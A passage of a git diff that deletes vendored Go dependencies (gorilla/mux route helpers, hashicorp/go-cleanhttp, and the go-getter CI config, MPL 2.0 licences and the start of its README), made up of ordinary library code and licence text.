against third-party services. -// An error will be returned if the route does not define queries. -func (r *Route) GetQueriesTemplates() ([]string, error) { - if r.err != nil { - return nil, r.err - } - if r.regexp == nil || r.regexp.queries == nil { - return nil, errors.New("mux: route doesn't have queries") - } - var queries []string - for _, query := range r.regexp.queries { - queries = append(queries, query.template) - } - return queries, nil -} - -// GetMethods returns the methods the route matches against -// This is useful for building simple REST API documentation and for instrumentation -// against third-party services. -// An error will be returned if route does not have methods. -func (r *Route) GetMethods() ([]string, error) { - if r.err != nil { - return nil, r.err - } - for _, m := range r.matchers { - if methods, ok := m.(methodMatcher); ok { - return []string(methods), nil - } - } - return nil, errors.New("mux: route doesn't have methods") -} - -// GetHostTemplate returns the template used to build the -// route match. -// This is useful for building simple REST API documentation and for instrumentation -// against third-party services. -// An error will be returned if the route does not define a host. -func (r *Route) GetHostTemplate() (string, error) { - if r.err != nil { - return "", r.err - } - if r.regexp == nil || r.regexp.host == nil { - return "", errors.New("mux: route doesn't have a host") - } - return r.regexp.host.template, nil -} - -// prepareVars converts the route variable pairs into a map. If the route has a -// BuildVarsFunc, it is invoked. -func (r *Route) prepareVars(pairs ...string) (map[string]string, error) { - m, err := mapFromPairsToString(pairs...) - if err != nil { - return nil, err - } - return r.buildVars(m), nil -} - -func (r *Route) buildVars(m map[string]string) map[string]string { - if r.parent != nil { - m = r.parent.buildVars(m) - } - if r.buildVarsFunc != nil { - m = r.buildVarsFunc(m) - } - return m -} - -// ---------------------------------------------------------------------------- -// parentRoute -// ---------------------------------------------------------------------------- - -// parentRoute allows routes to know about parent host and path definitions. -type parentRoute interface { - getBuildScheme() string - getNamedRoutes() map[string]*Route - getRegexpGroup() *routeRegexpGroup - buildVars(map[string]string) map[string]string -} - -func (r *Route) getBuildScheme() string { - if r.buildScheme != "" { - return r.buildScheme - } - if r.parent != nil { - return r.parent.getBuildScheme() - } - return "" -} - -// getNamedRoutes returns the map where named routes are registered. -func (r *Route) getNamedRoutes() map[string]*Route { - if r.parent == nil { - // During tests router is not always set. - r.parent = NewRouter() - } - return r.parent.getNamedRoutes() -} - -// getRegexpGroup returns regexp definitions from this route. -func (r *Route) getRegexpGroup() *routeRegexpGroup { - if r.regexp == nil { - if r.parent == nil { - // During tests router is not always set. - r.parent = NewRouter() - } - regexp := r.parent.getRegexpGroup() - if regexp == nil { - r.regexp = new(routeRegexpGroup) - } else { - // Copy. - r.regexp = &routeRegexpGroup{ - host: regexp.host, - path: regexp.path, - queries: regexp.queries, - } - } - } - return r.regexp -} diff --git a/vendor/github.com/gorilla/mux/test_helpers.go b/vendor/github.com/gorilla/mux/test_helpers.go deleted file mode 100644 index 32ecffde48..0000000000 --- a/vendor/github.com/gorilla/mux/test_helpers.go +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright 2012 The Gorilla Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package mux - -import "net/http" - -// SetURLVars sets the URL variables for the given request, to be accessed via -// mux.Vars for testing route behaviour. Arguments are not modified, a shallow -// copy is returned. -// -// This API should only be used for testing purposes; it provides a way to -// inject variables into the request context. Alternatively, URL variables -// can be set by making a route that captures the required variables, -// starting a server and sending the request to that server. -func SetURLVars(r *http.Request, val map[string]string) *http.Request { - return setVars(r, val) -} diff --git a/vendor/github.com/hashicorp/go-cleanhttp/LICENSE b/vendor/github.com/hashicorp/go-cleanhttp/LICENSE deleted file mode 100644 index e87a115e46..0000000000 --- a/vendor/github.com/hashicorp/go-cleanhttp/LICENSE +++ /dev/null @@ -1,363 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. "Contributor" - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. "Contributor Version" - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor's Contribution. - -1.3. "Contribution" - - means Covered Software of a particular Contributor. - -1.4. "Covered Software" - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. "Incompatible With Secondary Licenses" - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of - version 1.1 or earlier of the License, but not also under the terms of - a Secondary License. - -1.6. "Executable Form" - - means any form of the work other than Source Code Form. - -1.7. "Larger Work" - - means a work that combines Covered Software with other material, in a - separate file or files, that is not Covered Software. - -1.8. "License" - - means this document. - -1.9. "Licensable" - - means having the right to grant, to the maximum extent possible, whether - at the time of the initial grant or subsequently, any and all of the - rights conveyed by this License. - -1.10. "Modifications" - - means any of the following: - - a. any file in Source Code Form that results from an addition to, - deletion from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. "Patent Claims" of a Contributor - - means any patent claim(s), including without limitation, method, - process, and apparatus claims, in any patent Licensable by such - Contributor that would be infringed, but for the grant of the License, - by the making, using, selling, offering for sale, having made, import, - or transfer of either its Contributions or its Contributor Version. - -1.12. "Secondary License" - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. "Source Code Form" - - means the form of the work preferred for making modifications. - -1.14. "You" (or "Your") - - means an individual or a legal entity exercising rights under this - License. For legal entities, "You" includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, "control" means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or - as part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its - Contributions or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution - become effective for each Contribution on the date the Contributor first - distributes such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under - this License. No additional rights or licenses will be implied from the - distribution or licensing of Covered Software under this License. - Notwithstanding Section 2.1(b) above, no patent license is granted by a - Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party's - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of - its Contributions. - - This License does not grant any rights in the trademarks, service marks, - or logos of any Contributor (except as may be necessary to comply with - the notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this - License (see Section 10.2) or under the terms of a Secondary License (if - permitted under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its - Contributions are its original creation(s) or it has sufficient rights to - grant the rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under - applicable copyright doctrines of fair use, fair dealing, or other - equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under - the terms of this License. You must inform recipients that the Source - Code Form of the Covered Software is governed by the terms of this - License, and how they can obtain a copy of this License. You may not - attempt to alter or restrict the recipients' rights in the Source Code - Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this - License, or sublicense it under different terms, provided that the - license for the Executable Form does not attempt to limit or alter the - recipients' rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for - the Covered Software. If the Larger Work is a combination of Covered - Software with a work governed by one or more Secondary Licenses, and the - Covered Software is not Incompatible With Secondary Licenses, this - License permits You to additionally distribute such Covered Software - under the terms of such Secondary License(s), so that the recipient of - the Larger Work may, at their option, further distribute the Covered - Software under the terms of either this License or such Secondary - License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices - (including copyright notices, patent notices, disclaimers of warranty, or - limitations of liability) contained within the Source Code Form of the - Covered Software, except that You may alter any license notices to the - extent required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on - behalf of any Contributor. You must make it absolutely clear that any - such warranty, support, indemnity, or liability obligation is offered by - You alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, - judicial order, or regulation then You must: (a) comply with the terms of - this License to the maximum extent possible; and (b) describe the - limitations and the code they affect. Such description must be placed in a - text file included with all distributions of the Covered Software under - this License. Except to the extent prohibited by statute or regulation, - such description must be sufficiently detailed for a recipient of ordinary - skill to be able to understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing - basis, if such Contributor fails to notify You of the non-compliance by - some reasonable means prior to 60 days after You have come back into - compliance. Moreover, Your grants from a particular Contributor are - reinstated on an ongoing basis if such Contributor notifies You of the - non-compliance by some reasonable means, this is the first time You have - received notice of non-compliance with this License from such - Contributor, and You become compliant prior to 30 days after Your receipt - of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, - counter-claims, and cross-claims) alleging that a Contributor Version - directly or indirectly infringes any patent, then the rights granted to - You by any and all Contributors for the Covered Software under Section - 2.1 of this License shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an "as is" basis, - without warranty of any kind, either expressed, implied, or statutory, - including, without limitation, warranties that the Covered Software is free - of defects, merchantable, fit for a particular purpose or non-infringing. - The entire risk as to the quality and performance of the Covered Software - is with You. Should any Covered Software prove defective in any respect, - You (not any Contributor) assume the cost of any necessary servicing, - repair, or correction. This disclaimer of warranty constitutes an essential - part of this License. No use of any Covered Software is authorized under - this License except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from - such party's negligence to the extent applicable law prohibits such - limitation. Some jurisdictions do not allow the exclusion or limitation of - incidental or consequential damages, so this exclusion and limitation may - not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts - of a jurisdiction where the defendant maintains its principal place of - business and such litigation shall be governed by laws of that - jurisdiction, without reference to its conflict-of-law provisions. Nothing - in this Section shall prevent a party's ability to bring cross-claims or - counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject - matter hereof. If any provision of this License is held to be - unenforceable, such provision shall be reformed only to the extent - necessary to make it enforceable. Any law or regulation which provides that - the language of a contract shall be construed against the drafter shall not - be used to construe this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version - of the License under which You originally received the Covered Software, - or under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a - modified version of this License if you rename the license and remove - any references to the name of the license steward (except to note that - such modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary - Licenses If You choose to distribute Source Code Form that is - Incompatible With Secondary Licenses under the terms of this version of - the License, the notice described in Exhibit B of this License must be - attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, -then You may include the notice in a location (such as a LICENSE file in a -relevant directory) where a recipient would be likely to look for such a -notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - "Incompatible With Secondary Licenses" Notice - - This Source Code Form is "Incompatible - With Secondary Licenses", as defined by - the Mozilla Public License, v. 2.0. - diff --git a/vendor/github.com/hashicorp/go-cleanhttp/README.md b/vendor/github.com/hashicorp/go-cleanhttp/README.md deleted file mode 100644 index 036e5313fc..0000000000 --- a/vendor/github.com/hashicorp/go-cleanhttp/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# cleanhttp - -Functions for accessing "clean" Go http.Client values - -------------- - -The Go standard library contains a default `http.Client` called -`http.DefaultClient`. It is a common idiom in Go code to start with -`http.DefaultClient` and tweak it as necessary, and in fact, this is -encouraged; from the `http` package documentation: - -> The Client's Transport typically has internal state (cached TCP connections), -so Clients should be reused instead of created as needed. Clients are safe for -concurrent use by multiple goroutines. - -Unfortunately, this is a shared value, and it is not uncommon for libraries to -assume that they are free to modify it at will. With enough dependencies, it -can be very easy to encounter strange problems and race conditions due to -manipulation of this shared value across libraries and goroutines (clients are -safe for concurrent use, but writing values to the client struct itself is not -protected). - -Making things worse is the fact that a bare `http.Client` will use a default -`http.Transport` called `http.DefaultTransport`, which is another global value -that behaves the same way. So it is not simply enough to replace -`http.DefaultClient` with `&http.Client{}`. - -This repository provides some simple functions to get a "clean" `http.Client` --- one that uses the same default values as the Go standard library, but -returns a client that does not share any state with other clients. diff --git a/vendor/github.com/hashicorp/go-cleanhttp/cleanhttp.go b/vendor/github.com/hashicorp/go-cleanhttp/cleanhttp.go deleted file mode 100644 index 8d306bf513..0000000000 --- a/vendor/github.com/hashicorp/go-cleanhttp/cleanhttp.go +++ /dev/null @@ -1,57 +0,0 @@ -package cleanhttp - -import ( - "net" - "net/http" - "runtime" - "time" -) - -// DefaultTransport returns a new http.Transport with similar default values to -// http.DefaultTransport, but with idle connections and keepalives disabled. -func DefaultTransport() *http.Transport { - transport := DefaultPooledTransport() - transport.DisableKeepAlives = true - transport.MaxIdleConnsPerHost = -1 - return transport -} - -// DefaultPooledTransport returns a new http.Transport with similar default -// values to http.DefaultTransport. Do not use this for transient transports as -// it can leak file descriptors over time. Only use this for transports that -// will be re-used for the same host(s). -func DefaultPooledTransport() *http.Transport { - transport := &http.Transport{ - Proxy: http.ProxyFromEnvironment, - DialContext: (&net.Dialer{ - Timeout: 30 * time.Second, - KeepAlive: 30 * time.Second, - DualStack: true, - }).DialContext, - MaxIdleConns: 100, - IdleConnTimeout: 90 * time.Second, - TLSHandshakeTimeout: 10 * time.Second, - ExpectContinueTimeout: 1 * time.Second, - MaxIdleConnsPerHost: runtime.GOMAXPROCS(0) + 1, - } - return transport -} - -// DefaultClient returns a new http.Client with similar default values to -// http.Client, but with a non-shared Transport, idle connections disabled, and -// keepalives disabled. -func DefaultClient() *http.Client { - return &http.Client{ - Transport: DefaultTransport(), - } -} - -// DefaultPooledClient returns a new http.Client with similar default values to -// http.Client, but with a shared Transport. Do not use this function for -// transient clients as it can leak file descriptors over time. Only use this -// for clients that will be re-used for the same host(s). -func DefaultPooledClient() *http.Client { - return &http.Client{ - Transport: DefaultPooledTransport(), - } -} diff --git a/vendor/github.com/hashicorp/go-cleanhttp/doc.go b/vendor/github.com/hashicorp/go-cleanhttp/doc.go deleted file mode 100644 index 05841092a7..0000000000 --- a/vendor/github.com/hashicorp/go-cleanhttp/doc.go +++ /dev/null @@ -1,20 +0,0 @@ -// Package cleanhttp offers convenience utilities for acquiring "clean" -// http.Transport and http.Client structs. -// -// Values set on http.DefaultClient and http.DefaultTransport affect all -// callers. This can have detrimental effects, esepcially in TLS contexts, -// where client or root certificates set to talk to multiple endpoints can end -// up displacing each other, leading to hard-to-debug issues. This package -// provides non-shared http.Client and http.Transport structs to ensure that -// the configuration will not be overwritten by other parts of the application -// or dependencies. -// -// The DefaultClient and DefaultTransport functions disable idle connections -// and keepalives. Without ensuring that idle connections are closed before -// garbage collection, short-term clients/transports can leak file descriptors, -// eventually leading to "too many open files" errors. If you will be -// connecting to the same hosts repeatedly from the same client, you can use -// DefaultPooledClient to receive a client that has connection pooling -// semantics similar to http.DefaultClient. -// -package cleanhttp diff --git a/vendor/github.com/hashicorp/go-cleanhttp/go.mod b/vendor/github.com/hashicorp/go-cleanhttp/go.mod deleted file mode 100644 index 310f07569f..0000000000 --- a/vendor/github.com/hashicorp/go-cleanhttp/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/hashicorp/go-cleanhttp diff --git a/vendor/github.com/hashicorp/go-cleanhttp/handlers.go b/vendor/github.com/hashicorp/go-cleanhttp/handlers.go deleted file mode 100644 index 3c845dc0dc..0000000000 --- a/vendor/github.com/hashicorp/go-cleanhttp/handlers.go +++ /dev/null @@ -1,48 +0,0 @@ -package cleanhttp - -import ( - "net/http" - "strings" - "unicode" -) - -// HandlerInput provides input options to cleanhttp's handlers -type HandlerInput struct { - ErrStatus int -} - -// PrintablePathCheckHandler is a middleware that ensures the request path -// contains only printable runes. -func PrintablePathCheckHandler(next http.Handler, input *HandlerInput) http.Handler { - // Nil-check on input to make it optional - if input == nil { - input = &HandlerInput{ - ErrStatus: http.StatusBadRequest, - } - } - - // Default to http.StatusBadRequest on error - if input.ErrStatus == 0 { - input.ErrStatus = http.StatusBadRequest - } - - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - if r != nil { - // Check URL path for non-printable characters - idx := strings.IndexFunc(r.URL.Path, func(c rune) bool { - return !unicode.IsPrint(c) - }) - - if idx != -1 { - w.WriteHeader(input.ErrStatus) - return - } - - if next != nil { - next.ServeHTTP(w, r) - } - } - - return - }) -} diff --git a/vendor/github.com/hashicorp/go-getter/.travis.yml b/vendor/github.com/hashicorp/go-getter/.travis.yml deleted file mode 100644 index 4fe9176aab..0000000000 --- a/vendor/github.com/hashicorp/go-getter/.travis.yml +++ /dev/null @@ -1,24 +0,0 @@ -sudo: false - -addons: - apt: - sources: - - sourceline: 'ppa:git-core/ppa' - packages: - - git - -language: go - -os: - - linux - - osx - -go: - - "1.11.x" - -before_script: - - go build ./cmd/go-getter - -branches: - only: - - master diff --git a/vendor/github.com/hashicorp/go-getter/LICENSE b/vendor/github.com/hashicorp/go-getter/LICENSE deleted file mode 100644 index c33dcc7c92..0000000000 --- a/vendor/github.com/hashicorp/go-getter/LICENSE +++ /dev/null @@ -1,354 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. “Contributor” - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. “Contributor Version” - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor’s Contribution. - -1.3. “Contribution” - - means Covered Software of a particular Contributor. - -1.4. “Covered Software” - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. “Incompatible With Secondary Licenses” - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of version - 1.1 or earlier of the License, but not also under the terms of a - Secondary License. - -1.6. “Executable Form” - - means any form of the work other than Source Code Form. - -1.7. “Larger Work” - - means a work that combines Covered Software with other material, in a separate - file or files, that is not Covered Software. - -1.8. “License” - - means this document. - -1.9. “Licensable” - - means having the right to grant, to the maximum extent possible, whether at the - time of the initial grant or subsequently, any and all of the rights conveyed by - this License. - -1.10. “Modifications” - - means any of the following: - - a. any file in Source Code Form that results from an addition to, deletion - from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. “Patent Claims” of a Contributor - - means any patent claim(s), including without limitation, method, process, - and apparatus claims, in any patent Licensable by such Contributor that - would be infringed, but for the grant of the License, by the making, - using, selling, offering for sale, having made, import, or transfer of - either its Contributions or its Contributor Version. - -1.12. “Secondary License” - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. “Source Code Form” - - means the form of the work preferred for making modifications. - -1.14. “You” (or “Your”) - - means an individual or a legal entity exercising rights under this - License. For legal entities, “You” includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, “control” means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or as - part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its Contributions - or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution become - effective for each Contribution on the date the Contributor first distributes - such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under this - License. No additional rights or licenses will be implied from the distribution - or licensing of Covered Software under this License. Notwithstanding Section - 2.1(b) above, no patent license is granted by a Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party’s - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of its - Contributions. - - This License does not grant any rights in the trademarks, service marks, or - logos of any Contributor (except as may be necessary to comply with the - notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this License - (see Section 10.2) or under the terms of a Secondary License (if permitted - under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its Contributions - are its original creation(s) or it has sufficient rights to grant the - rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under applicable - copyright doctrines of fair use, fair dealing, or other equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under the - terms of this License. You must inform recipients that the Source Code Form - of the Covered Software is governed by the terms of this License, and how - they can obtain a copy of this License. You may not attempt to alter or - restrict the recipients’ rights in the Source Code Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this License, - or sublicense it under different terms, provided that the license for - the Executable Form does not attempt to limit or alter the recipients’ - rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for the - Covered Software. If the Larger Work is a combination of Covered Software - with a work governed by one or more Secondary Licenses, and the Covered - Software is not Incompatible With Secondary Licenses, this License permits - You to additionally distribute such Covered Software under the terms of - such Secondary License(s), so that the recipient of the Larger Work may, at - their option, further distribute the Covered Software under the terms of - either this License or such Secondary License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices (including - copyright notices, patent notices, disclaimers of warranty, or limitations - of liability) contained within the Source Code Form of the Covered - Software, except that You may alter any license notices to the extent - required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on behalf - of any Contributor. You must make it absolutely clear that any such - warranty, support, indemnity, or liability obligation is offered by You - alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, judicial - order, or regulation then You must: (a) comply with the terms of this License - to the maximum extent possible; and (b) describe the limitations and the code - they affect. Such description must be placed in a text file included with all - distributions of the Covered Software under this License. Except to the - extent prohibited by statute or regulation, such description must be - sufficiently detailed for a recipient of ordinary skill to be able to - understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing basis, - if such Contributor fails to notify You of the non-compliance by some - reasonable means prior to 60 days after You have come back into compliance. - Moreover, Your grants from a particular Contributor are reinstated on an - ongoing basis if such Contributor notifies You of the non-compliance by - some reasonable means, this is the first time You have received notice of - non-compliance with this License from such Contributor, and You become - compliant prior to 30 days after Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, counter-claims, - and cross-claims) alleging that a Contributor Version directly or - indirectly infringes any patent, then the rights granted to You by any and - all Contributors for the Covered Software under Section 2.1 of this License - shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an “as is” basis, without - warranty of any kind, either expressed, implied, or statutory, including, - without limitation, warranties that the Covered Software is free of defects, - merchantable, fit for a particular purpose or non-infringing. The entire - risk as to the quality and performance of the Covered Software is with You. - Should any Covered Software prove defective in any respect, You (not any - Contributor) assume the cost of any necessary servicing, repair, or - correction. This disclaimer of warranty constitutes an essential part of this - License. No use of any Covered Software is authorized under this License - except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from such - party’s negligence to the extent applicable law prohibits such limitation. - Some jurisdictions do not allow the exclusion or limitation of incidental or - consequential damages, so this exclusion and limitation may not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts of - a jurisdiction where the defendant maintains its principal place of business - and such litigation shall be governed by laws of that jurisdiction, without - reference to its conflict-of-law provisions. Nothing in this Section shall - prevent a party’s ability to bring cross-claims or counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject matter - hereof. If any provision of this License is held to be unenforceable, such - provision shall be reformed only to the extent necessary to make it - enforceable. Any law or regulation which provides that the language of a - contract shall be construed against the drafter shall not be used to construe - this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version of - the License under which You originally received the Covered Software, or - under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a modified - version of this License if you rename the license and remove any - references to the name of the license steward (except to note that such - modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses - If You choose to distribute Source Code Form that is Incompatible With - Secondary Licenses under the terms of this version of the License, the - notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, then -You may include the notice in a location (such as a LICENSE file in a relevant -directory) where a recipient would be likely to look for such a notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - “Incompatible With Secondary Licenses” Notice - - This Source Code Form is “Incompatible - With Secondary Licenses”, as defined by - the Mozilla Public License, v. 2.0. - diff --git a/vendor/github.com/hashicorp/go-getter/README.md b/vendor/github.com/hashicorp/go-getter/README.md deleted file mode 100644 index 3de23c7094..0000000000 --- a/vendor/github.com/hashicorp/go-getter/README.md +++ /dev/null @@ -1,358 +0,0 @@ -# go-getter - -[![Build Status](http://img.shields.io/travis/hashicorp/go-getter.svg?style=flat-square)][travis] -[![Build status](https://ci.appveyor.com/api/projects/status/ulq3qr43n62croyq/branch/master?svg=true)][appveyor] -[![Go Documentation](http://img.shields.io/badge/go-documentation-blue.svg?style=flat-square)][godocs] - -[travis]: http://travis-ci.org/hashicorp/go-getter -[godocs]: http://godoc.org/github.com/hashicorp/go-getter -[appveyor]: https://ci.appveyor.com/project/hashicorp/go-getter/branch/master - -go-getter is a library for Go (golang) for downloading files or directories -from various sources using a 